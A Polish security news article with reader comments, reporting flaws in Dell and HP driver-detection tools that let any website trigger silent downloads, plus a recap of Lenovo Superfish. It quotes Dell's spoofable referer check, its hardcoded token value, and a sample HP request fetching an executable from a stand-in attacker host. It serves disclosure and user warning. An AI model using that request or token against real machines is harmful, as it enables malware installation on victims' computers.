21:38
12/4/2015

Zarówno Dell jak i HP posiadają na swoich stronach narzędzie diagnostyczne, które sprawdza jaki dokładnie sprzęt (np. model karty sieciowej) jest używany przez dany komputer. Dzięki temu producent wie, które sterowniki wskazać użytkownikowi. Niestety, programiści Della jak i HP popełnili błędy, które pozwalają atakującemu na ściągnięcie i uruchomienie na systemie ofiary dowolnego programu (także złośliwego).

Jak po kryjomu ściągnąć coś na komputer użytkownika Della?

Błąd został odkryty przez Toma, który miesiąc temu przeanalizował oprogramowanie Della. Program uruchamiany jest w przeglądarce użytkownika, kiedy ten wejdzie na stronę Della i kliknie w przycisk “detect product“.

Kliknięcie powoduje zainstalowanie programu Dell System Detect, który zostaje na komputerze na zawsze i startuje razem z komputerem. Program ten nasłuchuje na porcie localhost:8884 i w teorii pozwala na dostęp do komputera tylko Dellowi. Niestety, na skutek błędu w kodzie, Dell System Detect niezbyt dokładnie sprawdza skąd pochodzą komendy i słucha się instrukcji od każdego, byle tylko w nagłówku Referer lub Orgin żądania znajdowało się słowo kluczowe “dell“. Oto funkcja, która za to odpowiada:


public void ProcessRequest(HttpListenerContext context)
{
String url = "";
if (context.Request.UrlReferrer == null) url = context.Request.Headers["Origin"];
else url = context.Request.UrlReferrer.AbsoluteUri;

if (absoluteUri.Contains("dell"))
{
// process the request
}
}

Jak widać, wystarczy że atakujący zaprosi posiadacza laptopa Della na swoją stronę, np. http://zlastrona.pl/dell i już — dzięki wbudowanej w program poniższej metodzie — będzie w stanie wydać polecenie, które pobierze i zainstaluje w tle dowolny program, np. trojana.


public static ServiceResponse DownloadAndAutoInstall(string files)
{
// Download and execute URL's passed in the files parameter without prompting the user
}

Do wysłania żądania co prawda potrzebny jest jeszcze token, ale ponieważ wyliczany jest on na podstawie zahardcodowanej wartości (“2f68-48be-a09a-9f9b6424ad85“) łączonej z danymi będących pod kontrolą atakującego, to nie ma najmniejszego problemu, aby token wyliczyć samodzielnie.

Podobny problem w laptopach HP

W przypadku HP, instalowane narzędzie nosi nazwę HP Support Solutions Framework i posiada możliwość nie tylko odczytywania dowolnych plików i kluczy rejestru na systemie ofiary, ale także — zgadliście — instalowania dowolnego oprogramowania. Znowu więc, odwiedzenie złośliwej strony internetowej sprawi, że posiadacz sprzętu HP, który kiedykolwiek na stronie supportu kliknął na przycisk “Find now“, zostanie zainfekowany.

Rozwiązanie HP nasłuchuje na porcie localhost:8092 i przyjmuje żądania, których nagłówek Referer lub Origin kończą się na “hp.com“. Znów więc łatwo można je zespoofować (np. poprzez domenę złehp.com ;-) Przykładowe żądanie to:

http://localhost:8092/hpdia/run?RemoteFile=https://hacker.com/messbox.exe&FileTitle=update.exe

Jednak w odróżnieniu od Della, instalacja nie odbędzie się w tle — użytkownik musi samodzielnie kliknąć na przycisku instaluj w oknie, które pojawia się po otrzymaniu ww. żądania.

xInstall_MFTZFC73.png.pagespeed.ic.D2EGw10wcI

Lenovo i tak było pierwsze ;-)

Przypadki Della i HP mogą wam się słusznie kojarzyć z fuckupem Lenovo sprzed 2 miesięcy. Przypomnijmy, że bloatware Lenovo o nazwie “SuperFish” instalowany na większości laptopów tej firmy posiadał poważny błąd, który pozwalał każdemu nie tylko podsłuchiwać połączenia HTTPS dowolnego użytkownika laptopa Lenovo, ale także modyfikować ich zawartość.

Atak był możliwy ze względu na to, że Lenovo wstrzykiwało do magazynu certyfikatów Windowsa swoje własne CA. Ponieważ na każdym laptopie CA było takie samo, bardzo łatwo można było je wykorzystać do tworzenia poprawnych (choć fałszywych) certyfikatów dla dowolnej domen, a więc wykonywania ataków typu phishing. (certyfikaty te, dzięki wstrzykniętemu CA, nie powodowały ostrzeżeń w przeglądarkach).

Zarówno Lenovo, jak i Dell oraz HP poprawiły wersję swoich programów “diagnostycznych”. Jeśli kiedyś je instalowaliście, albo całkiem je usuńcie — albo jeśli z jakiegoś powodu ich potrzebujecie — zaktualizujcie do najnowszych wersji.

Ciekawe, czy Tom zabierze się teraz za Asusa i innych producentów…?

Przeczytaj także:

30 komentarzy

Dodaj komentarz
  1. Dlatego preferuję czysty system, a jak jest pre instalowany to wywalam każdy program, który producent zainstalował. Z McAfee na czele.

    • Na laptopach Lenovo superfish dodawał certyfikat do systemu którego przy usuwaniu superfisha się nie kasowało, więc nadal byś został z problemem. Trzeba stawiać czysty system.

    • @nikt: Certyfikat również można odinstalować. Chyba nikt rozsądny nie kupi laptopa z systemem i do tego kolejną czystą wersję Windows za kilkaset złotych. No chyba, że masz na myśli sklep torrent, ale z tego źródła Windows mają o wiele więcej preinstalowanych niespodzianek niż od Lenovo czy Della.

    • A sprawdzasz każdy zakątek systemu? Tu wiadomo o certyfikacie, ale skąd wiesz czy czegoś jeszcze nie ma dodatkowego. A obraz ze sklepu torrent można spradzić z dostępnymi w internecie sumami kontrolnymi np tu:
      https://msdn.microsoft.com/subscriptions/securedownloads/.
      Można też kupić komputer bez systemu i system oddzielnie.

    • @nikt
      Ten problem też mam z głowy bo nikomu Lenovo nie polecam. Delle są tutaj przykrą niespodzianką.

    • @VanPit: jeżeli kupiłeś laptopa z systemem (Windows 8 albo 8.1), to możesz ściągnąć ISO przy pomocy oficjalnego programu Microsoftu i samodzielnie dokonać instalacji czystej wersji systemu. Nowsze komputery mają zaszyty klucz licencyjny „w BIOS” — instalator sam go odczyta i zweryfikuje poprawność w odpowiednim momencie, dzięki czemu użytkownik nie będzie musiał nic wpisywać.

    • czysty system… no fajnie, prosze zatem sciągnąć orginalne Windows 8.1 Bing ze strony Microsofta… a taką ciekawą wersję ma wiele laptopów najczęściej kupowanych… nie każdy kupuje Windows 8 pro…

    • @Nikt
      Po co sprawdzać wiarygodność kopii na torrentach, skoro od niedawna Microsoft umożliwia w końcu oficjalne pobranie ISO Windows 7 i Windows 8.1 http://antyweb.pl/microsoft-nareszcie-umozliwia-bezproblemowe-pobranie-windows-7-i-windows-8-1/. Można pobrać instalator na pendrive (min. 8GB) lub wypalić ISO na DVD. O ile wiem przy instalacji czystego systemu klucz zostanie pobrany z biosu. Faktem jest, że MS bardzo późno umożliwił oficjalne pobieranie instalatora czystego systemu bez kombinowania, ale w końcu poszedł po rozum do głowy. Co ważne można uzyskać od razu Windows 8.1, co ma znaczenie w komputerach sprzed kilku lat, w których instalacja Windows 8 z Recovery oznacza konieczność pobrania uaktualnienia do Windows 8.1.

  2. Dzięki za info coś mi ostatnio nie grało z tą aktualizacją i jej nie zrobiłem teraz wiem że dobrze zrobiłem

  3. Wystarczy usunąć program w panelu czy warto wykonać jeszcze jakieś dodatkowe czynności?

  4. Hmmm dopiero poniedziałek a ja już muszę nowe startup scripty ładować? Ehhh ;)

  5. potwierdzam w 100 procentach. Narzedzia serwisowe della maja jeszcze w zwyczaju zabezpieczać dyski hasłami…tak same z siebie

  6. Zastanawiam się dlaczego użytkownicy “Łyndołsa” jeszcze nie zrobili buntu na pokładzie! Przecież moim zdaniem mają prawo do czystego nośnika bez żadnego syfu. Tymczasem dostają preinstalowane “coś”, będące przyczyną samych kłopotów, od luk bezpieczeństwa po fatalną wydajność komputera

    • Większość komputerów jest sprzedawanych z Windowsem z licencją OEM, a przy takiej licencji to producent komputera decyduje co dodatkowo znajdzie się w systemie, więc dopóki nie zakupisz systemu oddzielnie to niestety nie masz prawa do czystego nośnika bez żadnego syfu. Całe szczęście żaden z producentów nie blokuje kluczy dodawanych wraz z systemem, by mogły być użyte tylko z ich wersjami systemu więc jeśli posiadasz taki nośnik z innego źródła to możesz sobie spokojnie z niego system zainstalować.

    • @Pejta: zdeterminowani użytkownicy komputerów z preinstalowanym Windowsem 8 lub 8.1, którzy potrafią korzystać z wyszukiwarki internetowej i mają stały dostęp do Internetu bez problemu otrzymają czysty nośnik bez żadnego syfu prosto od Microsoftu. Wystarczy skorzystać z dedykowanego programu umieszczonego na ich stronie internetowej. Potrzebna jest czysta płyta DVD albo pendrive o pojemności 4 GB.

      @GwynBleidD: klucz licencyjny OEM jest akceptowany przez instalator czystego Windowsa pobranego przez program udostępniany przez Microsoft. Trzeba tylko zadbać o zgodność edycji oraz architektur.

    • @Mirosław Zalewski “(…) bez problemu otrzymają czysty nośnik bez żadnego syfu prosto od Microsoftu”

      od Microsoftu? bez syfu? tzn. pusty?

  7. Z tego co wiem to kilka dni temu pojawiła się poprawka do narzędzia DELL’a

  8. if (absoluteUri.Contains(“dell”))

    To jest błąd czy bezmyślność?

    • bezmyślność spowodowana brakiem wiedzy lub głupotą

    • Bangalore.

  9. W komputrach HP nie idzie tego odinstalowac bardziwa [HP Support Solutions Framework] wiec trzeba skorzystac np. CCleanera Tools => Uninstall

  10. ..jak to dobrze iz sam klietom dobieram manualnie stery i ograniczam do minimum potrzebne dodatki od producenta..he he he
    …strzyzonego..Pan Bog strzyze :-p

  11. ale z tego co rozumiem, problem w przypadku della został już rozwiązany

    Timeline:

    The issue was fixed within two months and Dell were clear in their communications throughout.

    11/11/2014 – Contacted Dell about the issue and received an acknowledgement
    14/11/2014 – Received confirmation that Dells Internal Assessment team is investigating
    9/1/2015 – Dell state that they have fixed the issue by introducing additional validation and obfuscation
    10/1/2015 – Checked patched program and could not reproduce this exploit
    23/3/2015 – This post is published

  12. Wiadomość interesująca, ale pewien niesmak wprowadza użyte słownictwo – “badziew”, “fuckup” – być może jest to skutkiem celowania zawartości w młodszych czytelników, ale założę się, że da się to zrobić bez używania stylu, który nazwałbym w najlepszym razie “potocznym”…

    • Nie przesadzaj, ludzie kupują i piją wódki takie jak “Przekurwica” więc stosowanie słów takich jak badziew czy fuckup jest raczej zbyt słabe. Nie wierzę by młodszy czytelnik czytał te stronę dla potocznych err smaczków

    • Unicorn: ale mimo to starajmy się jednak zachować jakiś poziom, niekoniecznie równy poziomowi meneli spod budki z piwem.

    • Yac: bo oczywiscie ludzie z branzy, w tym ci starsi, nie uzywaja takiego slownictwa rozmawiajac sobie przy piwie, czy chociazby miedzy soba w biurze w czasie pracy ;)

  13. mariusz: Masz rację, prywatnie to sobie możemy rozmawiać używając słów “badziew” czy nawet gorszych ;), ale media publiczne (a strona internetowa jak by nie mówić, takim jest), powinny jednak promować bardziej kulturalny język. Mówiąc bardziej filozoficznie, aby cywilizacja się rozwijała, należy podwyższać poziom, a nie go zaniżać :P

  14. I tak oto z dyskusji nt. oprogramowania DELL przeszliśmy płynnie do rozmowy nad słownictwem.. :-)

    • Zgodnie z prawem pewnego Pana zaraz pojawią się naziści :)

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.